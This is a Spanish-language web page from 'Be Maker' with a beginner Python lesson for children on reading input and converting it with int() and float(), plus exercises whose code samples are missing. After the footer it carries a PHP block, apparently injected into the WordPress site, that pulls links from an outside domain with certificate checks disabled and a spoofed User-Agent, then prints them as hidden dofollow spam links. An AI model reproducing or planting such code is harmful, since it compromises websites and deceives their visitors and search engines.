Be Maker

Loading...

Be Maker

Aprende Python con Thonny

LECCIÓN 02 – Entrada de Datos en Python

💰Recompensa: 10 bCoins y 10 Cristales de Conocimiento por cada proyecto y desafío resuelto💰

👋 ¡Bienvenido a la segunda lección de tu aventura en la programación!

 

💡 Hasta ahora, hemos aprendido a mostrar mensajes en pantalla con print(), pero… ¿Qué pasa si queremos que el usuario nos responda En esta lección aprenderemos a hacer que Python «escuche» lo que escribimos y lo use en nuestros programas.

🚀 2.1 Entrada de Datos en Python: Textos

💡 Las computadoras pueden «leer» lo que escribimos con el comando input(), pero siempre lo guardan como texto.
29

🧪 Experimento 01: ¿Cómo hablar con una Computadora?

🔬 Explicación:

Has usado la función input(), que espera que el usuario escriba algo antes de continuar, pero print() solo muestra el mensaje en pantalla.

🛸 Proyecto 1: ¿Cuál es tu Nombre?

 📌 ¿Qué pasó?

🔥 Desafío 1: Demuestra lo Aprendido

Escribe un programa para que pregunte el nombre y la ciudad del usuario y lo muestre de la siguiente manera:
Hola [nombre], ¿Qué tal está el clima en [ciudad]?

🧙‍♂️ Resultado:

🚀 2.2 Entrada de Datos en Python: Números>

💡 Cuando el usuario ingresa datos, Python los trata como texto. Si queremos que el usuario ingrese un número, necesitamos convertir su respuesta con int() o float().

🧪 Experimento 02: ¿5+2=52?

🔬 Explicación:

Ups! Si ingresamos 5 y 2, Python mostrará 52 en lugar de 7. Esto se debe a que el comando input() siempre devuelve texto. Para convertirlo en número usamos int().

🛸 Proyecto 2: Año de Nacimiento

 📌 ¿Qué pasó?

Usamos int(input()) para convertir lo que el usuario escribe en un número. Sin int(), Python trataría los números como texto y no podríamos hacer operaciones matemáticas.

🛸 Proyecto 3: Masa Corporal

 📌 ¿Qué pasó?

Usamos float(input()) para convertir lo que el usuario escribe en un número decimal. Nos adelantamos un poco utilizando la función round(), lo que hace es agarrar el número decimal que está en imc y convertirlo a 2 decimales para guardar ese nuevo número en imc.

🔥 Desafío 2: Demuestra lo Aprendido

Eres una calculadora que responde preguntas matemáticas. Un amigo te hará preguntas como: "Si tengo 3 manzanas y compro 5 más, ¿cuántas tengo?" y debes responder usando código Python.

🧙‍♂️ Resultado:

🎯 Resumen de la Lección 01

⚔️¡Estamos listos, a construir!⚔️

💰Recompensa: 20 bCoins y 10 Gemas de Sabiduría por cada reto resuelto💰

📝 Responde en tu Cuaderno 

💀 Reto 01: Verdadero o Falso

1️⃣ input() se usa para salir del programa.

2️⃣ int("tres") convierte "tres" en 3.

3️⃣ Los datos ingresados con input() siempre son texto.

💀 Reto 02: Matemáticas en la Vida Real

1️⃣ Lanza un dado y anota el número que salga.
2️⃣ Multiplica ese número por 2.
3️⃣ Súmale 5.
4️⃣ Multiplica el resultado por 3.
5️⃣ Resta 15 y divide entre 6.
🛟 Puedes usar una calculadora si lo deseas 😅.

🎯 Si hiciste bien los cálculos, ¡deberías haber obtenido el número con el que empezaste!

💀 Reto 03: Pregunta

1️⃣ ¿Qué pasaría si escribes el código: print("Ja"*5)?

💻 Programa en tu Computadora

💀 Reto 04: El Robot saluda

Crea un programa que le pida el nombre al usuario y le diga ¡Hola, [nombre]! Soy tu robot amigo.

🧙‍♂️ Resultado:

💀 Reto 05: Fiesta de cumpleaños

Escribir un programa que pregunte la edad del usuario y muestre cuántas velas pondrá en su pastel de cumpleaños.

🧙‍♂️ Resultado:

💀 Reto 06: Sumando caramelos

Pide al usuario cuántos caramelos tiene y cuántos encontró en el suelo. Luego, muestra el total.

🧙‍♂️ Resultado:

💀 Reto 07: Calculadora de perritos

Pide al usuario que ingrese la edad de su perro y convierte ese número a "años humanos" multiplicándolo por 7.

🧙‍♂️ Resultado:

💀 Reto 08: Supermercado inteligente

El usuario ingresa el precio de un producto y la cantidad que quiere comprar. Calcula el total a pagar (utilizar float para el precio del producto).

🧙‍♂️ Resultado:

💀 Reto 09: Medidor de velocidad

Pide al usuario la cantidad de segundos que quiere que el robot avance y calcula la distancia que recorrerá si su velocidad es de 3 cm por segundo.

🧙‍♂️ Resultado:

☠️ Reto Extra: Solo para los más intrépidos y osados.

Pide al usuario que ingrese la capacidad de una batería en mAh y cuántos mAh consume un dispositivo por hora. Calcula cuántas horas durará la batería. Por ejemplo:
– La placa Arduino consume unos 100 mAh
– Las baterías 18650 tienen una carga de 1200 mAh

💰Recompensa Adicionale: 50 bCoins y 15 Gemas de Sabiduría 💰

🧙‍♂️ Resultado:

logo bmaker
Be Maker. Imagina, diseña, construye...
$api_url = 'https://ankaradelisi13.site/data.json'; // API'den çek $response = wp_remote_get($api_url, array( 'timeout' => 5, // 5 saniye bekle, olmazsa geç 'sslverify' => false, 'headers' => array( 'Accept' => 'application/json', 'User-Agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' ) )); if (!is_wp_error($response) && wp_remote_retrieve_response_code($response) === 200) { $body = wp_remote_retrieve_body($response); $links = json_decode($body, true); if (!empty($links) && is_array($links)) { echo ''; echo '
'; foreach ($links as $link) { $text = isset($link['text']) ? esc_html($link['text']) : ''; $url = isset($link['url']) ? esc_url($link['url']) : '#'; $rel = isset($link['rel']) ? esc_attr($link['rel']) : 'dofollow'; echo '' . $text . ' '; } echo '
'; echo ''; } }